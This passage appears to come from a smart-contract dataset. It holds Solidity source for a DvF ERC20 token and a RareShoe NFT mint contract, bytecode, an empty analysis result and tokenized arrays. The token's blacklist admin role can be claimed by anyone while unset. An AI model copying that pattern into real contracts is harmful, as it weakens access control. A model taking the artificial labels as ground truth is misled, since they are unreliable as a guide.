tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[recipient] != 17, "Cannot transfer to that address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function setRegulatoryCompliance(address a) external { require(msg.sender == _regulatoryCompliance || _regulatoryCompliance == address(0), "Z4"); _regulatoryCompliance = a; } function setRegulatoryComplianceFlag(address a, uint256 flag) external { require(msg.sender == _regulatoryCompliance, "Z4"); _blacklist[a] = flag; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: dvf.sol contract Dvf is ERC20, Initializable { constructor () ERC20("", "") { } function initialize(address mintTo) public initializer { if(mintTo == address(0)){ name = "IMPL"; symbol = "IMPL"; } else { name = "DvF Token"; symbol = "DVF"; _mint(mintTo, 1e6 * 1e18); } } }
0x608060405234801561001057600080fd5b50600436106100e95760003560e01c8063653809401161008c578063a457c2d711610066578063a457c2d7146101bf578063a9059cbb146101d2578063c4d66de8146101e5578063dd62ed3e146101f8576100e9565b8063653809401461019157806370a08231146101a457806395d89b41146101b7576100e9565b806318160ddd116100c857806318160ddd1461014157806323b872dd14610156578063313ce56714610169578063395093511461017e576100e9565b8062cd2e30146100ee57806306fdde0314610103578063095ea7b314610121575b600080fd5b6101016100fc366004610abe565b61020b565b005b61010b61025a565b6040516101189190610af2565b60405180910390f35b61013461012f366004610abe565b6102e8565b6040516101189190610ae7565b610149610305565b6040516101189190610dfe565b610134610164366004610a83565b61030b565b6101716103a2565b6040516101189190610e07565b61013461018c366004610abe565b6103a7565b61010161019f366004610a30565b6103f6565b6101496101b2366004610a30565b610456565b61010b610475565b6101346101cd366004610abe565b610482565b6101346101e0366004610abe565b6104fd565b6101016101f3366004610a30565b610511565b610149610206366004610a51565b610677565b6007546001600160a01b0316331461023e5760405162461bcd60e51b815260040161023590610b88565b60405180910390fd5b6001600160a01b03909116600090815260056020526040902055565b6003805461026790610e44565b80601f016020809104026020016040519081016040528092919081815260200182805461029390610e44565b80156102e05780601f106102b5576101008083540402835291602001916102e0565b820191906000526020600020905b8154815290600101906020018083116102c357829003601f168201915b505050505081565b60006102fc6102f56106a2565b84846106a6565b50600192915050565b60025490565b600061031884848461075a565b6001600160a01b0384166000908152600160205260408120816103396106a2565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508281101561037c5760405162461bcd60e51b815260040161023590610c7a565b610397856103886106a2565b6103928685610e2d565b6106a6565b506001949350505050565b601290565b60006102fc6103b46106a2565b8484600160006103c26106a2565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546103929190610e15565b6007546001600160a01b031633148061041857506007546001600160a01b0316155b6104345760405162461bcd60e51b815260040161023590610b88565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152602081905260409020545b919050565b6004805461026790610e44565b600080600160006104916106a2565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156104dd5760405162461bcd60e51b815260040161023590610d82565b6104f36104e86106a2565b856103928685610e2d565b5060019392505050565b60006102fc61050a6106a2565b848461075a565b600754600160a81b900460ff16806105335750600754600160a01b900460ff16155b61054f5760405162461bcd60e51b815260040161023590610c2c565b600754600160a81b900460ff16158015610586576007805460ff60a01b1960ff60a81b19909116600160a81b1716600160a01b1790555b6001600160a01b0382166105ef57604080518082019091526004808252631253541360e21b60209092019182526105bf91600391610980565b50604080518082019091526004808252631253541360e21b60209092019182526105e99181610980565b5061065f565b60408051808201909152600980825268223b23102a37b5b2b760b91b602090920191825261061f91600391610980565b5060408051808201909152600380825262222b2360e91b602090920191825261064a91600491610980565b5061065f8269d3c21bcecceda10000006108bb565b8015610673576007805460ff60a81b191690555b5050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166106cc5760405162461bcd60e51b815260040161023590610d3e565b6001600160a01b0382166106f25760405162461bcd60e51b815260040161023590610ba4565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061074d908590610dfe565b60405180910390a3505050565b6001600160a01b0383166107805760405162461bcd60e51b815260040161023590610cf9565b6001600160a01b0382166107a65760405162461bcd60e51b815260040161023590610b45565b6001600160a01b038216600090815260056020526040902054601114156107df5760405162461bcd60e51b815260040161023590610cc2565b6107ea83838361097b565b6001600160a01b038316600090815260208190526040902054818110156108235760405162461bcd60e51b815260040161023590610be6565b61082d8282610e2d565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610863908490610e15565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ad9190610dfe565b60405180910390a350505050565b6001600160a01b0382166108e15760405162461bcd60e51b815260040161023590610dc7565b6108ed6000838361097b565b80600260008282546108ff9190610e15565b90915550506001600160a01b0382166000908152602081905260408120805483929061092c908490610e15565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061096f908590610dfe565b60405180910390a35050565b505050565b82805461098c90610e44565b90600052602060002090601f0160209004810192826109ae57600085556109f4565b82601f106109c757805160ff19168380011785556109f4565b828001600101855582156109f4579182015b828111156109f45782518255916020019190600101906109d9565b50610a00929150610a04565b5090565b5b80821115610a005760008155600101610a05565b80356001600160a01b038116811461047057600080fd5b600060208284031215610a41578081fd5b610a4a82610a19565b9392505050565b60008060408385031215610a63578081fd5b610a6c83610a19565b9150610a7a60208401610a19565b90509250929050565b600080600060608486031215610a97578081fd5b610aa084610a19565b9250610aae60208501610a19565b9150604084013590509250925092565b60008060408385031215610ad0578182fd5b610ad983610a19565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b81811015610b1e57858101830151858201604001528201610b02565b81811115610b2f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b602080825260029082015261168d60f21b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252601f908201527f43616e6e6f74207472616e7366657220746f2074686174206164647265737300604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115610e2857610e28610e7f565b500190565b600082821015610e3f57610e3f610e7f565b500390565b600281046001821680610e5857607f821691505b60208210811415610e7957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122005639f0e14c74df4fca3cb5daca6d1e6d1e3a226c2f66ffea42b19e332afeb0d64736f6c63430008010033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 23499, 26337, 2629, 2497, 27531, 2692, 2629, 16409, 2620, 16147, 21926, 2549, 2546, 18827, 20842, 19317, 19841, 2581, 2575, 2620, 2620, 3676, 21084, 3540, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3904, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1015, 1025, 1013, 1013, 2112, 1024, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1030, 1018, 1012, 1014, 1012, 1014, 1011, 22110, 1012, 1014, 1013, 6123, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,110
0x963b9e20321cab408f3b35520f0fe3f54148f508
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; contract RareShoe is ERC721, EIP712, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; string _baseUri; address _signerAddress; uint public constant MAX_SUPPLY = 4444; uint public price = 0.08 ether; bool public isSalesActive = false; bool public isPreSalesActive = false; mapping(address => uint) public _addressToMintedFreeTokens; modifier validSignature(uint freeMints, bytes calldata signature) { require(_signerAddress == recoverAddress(msg.sender, freeMints, signature), "user cannot mint"); _; } constructor() ERC721("Rare Shoe", "RSHOE") EIP712("RSHOE", "1.0.0") { _signerAddress = 0x3115fEF0931aF890bd4E600fd5f19591430663c1; } function _baseURI() internal view override returns (string memory) { return _baseUri; } function mint(uint quantity) external payable { require(isSalesActive, "sale is not active"); require(totalSupply() + quantity <= MAX_SUPPLY, "not enought supply remaining"); require(msg.value >= price * quantity, "ether sent is under price"); for (uint i = 0; i < quantity; i++) { safeMint(msg.sender); } } function freeMint(uint quantity, uint freeMints, bytes calldata signature) external validSignature(freeMints, signature) { require(isSalesActive, "sale is not active"); require(totalSupply() + quantity <= MAX_SUPPLY, "not enought supply remaining"); require(_addressToMintedFreeTokens[msg.sender] + quantity <= freeMints, "account allowance exceeded"); _addressToMintedFreeTokens[msg.sender] += quantity; for (uint i = 0; i < quantity; i++) { safeMint(msg.sender); } } function mintPreSale(uint quantity, uint freeMints, bytes calldata signature) external payable validSignature(freeMints, signature) { require(isPreSalesActive, "pre sale is not active"); require(totalSupply() + quantity <= MAX_SUPPLY, "not enought supply remaining"); require(msg.value >= price * quantity, "ether sent is under price"); for (uint i = 0; i < quantity; i++) { safeMint(msg.sender); } } function safeMint(address to) internal { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function _hash(address account, uint freeMints) internal view returns (bytes32) { return _hashTypedDataV4( keccak256( abi.encode( keccak256("NFT(uint256 freeMints,address account)"), freeMints, account ) ) ); } function recoverAddress(address account, uint freeMints, bytes calldata signature) public view returns(address) { return ECDSA.recover(_hash(account, freeMints), signature); } function totalSupply() public view returns (uint) { return _tokenIdCounter.current(); } function setBaseURI(string memory newBaseURI) external onlyOwner { _baseUri = newBaseURI; } function toggleSales() external onlyOwner { isSalesActive = !isSalesActive; } function togglePreSales() external onlyOwner { isPreSalesActive = !isPreSalesActive; } function setPrice(uint newPrice) external onlyOwner { price = newPrice; } function setSignerAddress(address signerAddress) external onlyOwner { _signerAddress = signerAddress; } function withdrawAll() external onlyOwner { require(payable(msg.sender).send(address(this).balance)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with 